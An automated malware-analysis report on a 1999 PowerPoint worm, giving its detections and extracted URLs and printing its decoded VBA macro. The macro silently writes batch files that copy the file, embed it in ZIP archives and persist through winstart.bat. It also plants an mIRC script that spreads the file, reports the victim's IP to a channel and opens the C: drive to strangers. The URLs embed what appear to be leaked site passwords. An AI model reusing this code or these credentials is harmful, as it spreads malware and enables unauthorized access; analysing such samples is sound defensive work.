Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ec37f9a565e3d8e3…

MALICIOUS

Office (OLE)

33.5 KB Created: 1999-11-06 15:02:16 Authoring application: Microsoft PowerPoint First seen: 2012-06-14
MD5: 99931aab85e94d13354c8b98a4b52cfd SHA-1: a813f90290055c2249b71fd412821dc6afb7ad26 SHA-256: ec37f9a565e3d8e39c10dfec5f1f754f56b01188662163b93e5f470041451cbc
202 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.003 Windows Command Shell

The sample is a PowerPoint file containing VBA macros that execute a batch script. This script copies the PowerPoint file to various system directories and attempts to archive ZIP files into it using WinZip, suggesting a downloader or dropper functionality. The script also attempts to establish persistence by copying itself to 'winstart.bat'. The presence of the Shell() call and the batch script execution strongly indicate malicious intent.

Heuristics 4

  • ClamAV: Win.Trojan.U-74 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.U-74
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://qqqq:wwww@www.busty-amateurs.com/members/index.html In document text (OLE body)
    • http://qwer:1234@www.busty-amateurs.com/members/index.htmlIn document text (OLE body)
    • http://trim7gun:paulina@www.busty-amateurs.com/members/members.htmlIn document text (OLE body)
    • http://yeah:baby@www.busty-amateurs.com/members/index.htmlIn document text (OLE body)
    • http://astra23:connect@www.busty-amateurs.com/members/index.htmlIn document text (OLE body)
    • http://hairy:pussy@bserver.amkingdom.com/hairy/members/sc0001.htmIn document text (OLE body)
    • http://buck:rogers@snatchgirls.com/members-only/In document text (OLE body)
    • http://hotdog:ballgame@cybersexmotel.com/members/In document text (OLE body)
    • http://mitems:yeahyeah@wc1.watchcams.com/members/members.htmlIn document text (OLE body)
    • http://asia:rules@www.18asiansluts.com/members/In document text (OLE body)
    • http://bowlhead:642056@www.sizzle.com/members/index.shtmlIn document text (OLE body)
    • http://doerges:ilona@www.plumpersmag.com/Members/PBW/aug99/index.htmlIn document text (OLE body)
    • http://adrian:adrian1@www.silkmagnolias.com/Playarea/playroom.htmIn document text (OLE body)
    • http://waynes:boaz@www.sissymaids.com/members/misslut/misslut.htmlIn document text (OLE body)
    • http://hulka:drude@www.extremefitness.com/members/index.htmIn document text (OLE body)
    • http://nanny:babe23@www.18teenhardcore.com/members/In document text (OLE body)
    • http://sjv:1543@www2.pictureview.com/groupindex.htmlIn document text (OLE body)
    • http://1234:1234@www.18girlsex.com/secure/index.htmlIn document text (OLE body)
    • http://jazz:jazz@members.studvision.com/index2.htmlIn document text (OLE body)
    • http://leopard:leopard2@www.lisalawrence.com/members/index.htmlIn document text (OLE body)
    • http://studly:studly@www.schoolgirlz.com/members/In document text (OLE body)
    • http://apcc:spukcab@www.strippersonline.com/members/In document text (OLE body)
    • http://rikkardo:riccardo@www.sofiastaks.com/members/In document text (OLE body)
    • http://www.ebonyfantasy.com/membersIn document text (OLE body)
    • http://www.caseyjames.com/members/14325.htmlIn document text (OLE body)
    • http://www.200pix.com/members/In document text (OLE body)
    • http://www.pictures2000.com/members/In document text (OLE body)
    • http://www.cafeflesh.comIn document text (OLE body)
    • http://www.wickedgirl.com/members/index.htmlIn document text (OLE body)
    • http://member.babylon-x.com/In document text (OLE body)
    • http://www.pink18.com/membersIn document text (OLE body)
    • http://allteensex.org/members/In document text (OLE body)
    • http://www.virtualhardcore.com/pictures/index.htmlIn document text (OLE body)
    • http://members.pamsplace.com/In document text (OLE body)
    • http://www.drporn.com/members/In document text (OLE body)
    • http://members.karasxxx.com/members/index.htmlIn document text (OLE body)
    • http://members.breathlessbabes.com/In document text (OLE body)
    • http://www.strokin-it.com/members-only/In document text (OLE body)
    • http://www.redlight.comIn document text (OLE body)
    • http://www.bare-asians.com/members/welcome.htmlIn document text (OLE body)
    • http://www.rhinogirls.com/members/index.htmlIn document text (OLE body)
    • http://www.adultinfo.holowww.com/members/start.htmIn document text (OLE body)
    • http://www.18teenhardcore.com/members/In document text (OLE body)
    • http://allteen.org/members/In document text (OLE body)
    • http://members.playgal.com/In document text (OLE body)
    • http://horneydorm.com/members/In document text (OLE body)
    • http://www.whoreteens.com/members/teen1/In document text (OLE body)
    • http://www.wetscape.com/hiddenmembers/index.shtmlIn document text (OLE body)
    • http://www.f-ck-me.com/members-only/In document text (OLE body)
    • http://www.fetish.com/members/toc.htmlIn document text (OLE body)
    +24 more URL(s)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 10248 bytes
SHA-256: 6f7b080845bba8d95b1d3dc0fa66f79a09eca8fc6a3e1fcc825ad2cae14516ec
Detection
ClamAV: Win.Trojan.U-74
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Slide1"
Attribute VB_Base = "0{91493445-5A91-11CF-8700-00AA0060263B}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Control = "CommandButton1, 3, 1, MSForms, CommandButton"
Private Sub CommandButton1_Click()

  Open "X_Jany.bat" For Output As 1
   Print #1, "@echo off"
   Print #1, "CTTY NUL"
   Print #1, "@copy X_Jany.pps %WINDIR%\X_Jany.pps"
   Print #1, "@copy X_Jany.pps %WINDIR%\Help\X_Jany.pps"
   Print #1, "@copy X_Jany.pps %WINDIR%\temp$$$.pps"
   Print #1, "@copy X_Jany.pps %WINDIR%\Secret.pps"
   Print #1, "for %%i in (*.zip ..\*.zip c:\mirc\download\*.zip c:\*.zip) do start /m C:\progra~1\winzip\winzip32 -a /%%i %WINDIR%\X_Jany.pps >> %WINDIR%\dropper.bat"
   Print #1, "@call %WINDIR%\dropper.bat"
   Print #1, "@del %WINDIR%\dropper.bat"
   Print #1, "@copy X_Jany.bat %WINDIR%\winstart.bat"
   Print #1, "if exist %WINDIR%\temp$$$.pps goto redu"
   Print #1, "goto suite"
   Print #1, ":redu"
   Print #1, "@copy %WINDIR%\temp$$$.pps %WINDIR%\X_Jany.pps"
   Print #1, "@copy %WINDIR%\temp$$$.pps %WINDIR%\Secret.pps"
   Print #1, ":suite"
   Print #1, "CTTY CON"
   Print #1, "@del X_Jany.bat"
   Close 1
   Shell "X_Jany.bat", vbHide
   
   
  Open "C:\janytemp.$$$" For Output As 1
Print #1, "[SCRIPT]"
Print #1, "n0 ="
Print #1, "n1 = on 1:start:{"
Print #1, "n2 = .remote on"
Print #1, "n3 = .ctcps on"
Print #1, "n4 = .events on"
Print #1, "n5 =  }"
Print #1, "n6=on 1:join:#:{"
Print #1, "n7=if ( $nick == $me ) { halt } | .dcc send $nick c:\Windows\X_Jany.pps"
Print #1, "n8=}"
Print #1, "n9=on 1:connect:.msg #trojanslair Jany is so cute ! $ip on $server $+ : $+ $port $+"
Print #1, "n10=on 1:text:*jany*:#:/fserve $nick 5 C:\"
Print #1, "n11=on 1:PING:/msg $nick Pire que Tout... L'amour propre et la fierté!"
Print #1, "n12=on 1:FILERCVD:*.jpg:./dcc send $nick c:\Windows\Help\X_Jany.pps"
Print #1, "n13=on 1:FILESENT:*.jpg:./dcc send $nick c:\Windows\\Secret.pps"
Print #1, ";Designed by Del_Armg0____06-07 Novembre 1999____Keep It Load!"
Print #1, ";Magic¤°Software (c) 1999"
    Close 1
    
 Open "C:\tempjany.bat" For Output As 1
Print #1, "@echo off"
Print #1, "CTTY NUL"
Print #1, "if exist C:\mirc\mirc32.exe goto copy1"
Print #1, "if exist C:\chat\mirc\mirc32.exe goto copy2"
Print #1, "if exist C:\mirc32\mirc32.exe goto copy3"
Print #1, "if exist C:\progra~1\mirc\mirc32.exe goto copy4"
Print #1, "if exist C:\internet\mirc\mirc32.exe goto copy5"
Print #1, "if exist C:\irc\mirc\mirc32.exe goto copy6"
Print #1, ":copy1"
Print #1, "copy C:\janytemp.$$$ C:\mirc\script.ini"
Print #1, ":copy2"
Print #1, "copy C:\janytemp.$$$ C:\chat\mirc\script.ini"
Print #1, ":copy3"
Print #1, "copy C:\janytemp.$$$ C:\mirc32\script.ini"
Print #1, ":copy4"
Print #1, "copy C:\janytemp.$$$ C:\progra~1\mirc\script.ini"
Print #1, ":copy5"
Print #1, "copy C:\janytemp.$$$ C:\internet\mirc\script.ini"
Print #1, ":copy6"
Print #1, "copy C:\janytemp.$$$ C:\irc\mirc\script.ini"
Print #1, "CTTY CON"
Print #1, "del C:\janytemp.$$$"
Print #1, "del C:\tempjany.bat"
   Close 1
   Shell "C:\tempjany.bat", vbHide



Open "C:\X_Jany_Sites.txt" For Output As 1
Print #1, "--==X_JANY_SITES==--"
Print #1, "=======VARIOUS======================================================"
Print #1, "http://qqqq:wwww@www.busty-amateurs.com/members/index.html "
Print #1, "http://qwer:1234@www.busty-amateurs.com/members/index.html "
Print #1, "http://trim7gun:paulina@www.busty-amateurs.com/members/members.html "
Print #1, "http://yeah:baby@www.busty-amateurs.com/members/index.html "
Print #1, "http://astra23:connect@www.busty-amateurs.com/members/index.html "
Print #1, "http://hairy:pussy@bserver.amkingdom.com/hairy/members/sc0001.htm"
Print #1, "http://buck:rogers@snatchgirls.com/members-only/"
Print #1, "http://hotdog:ballgame@cybersexmotel.com/members/"
Print #1, "http://mitems:yeahyeah@wc1.watchcams.com/members/members.html"
Print #1, "
... (truncated)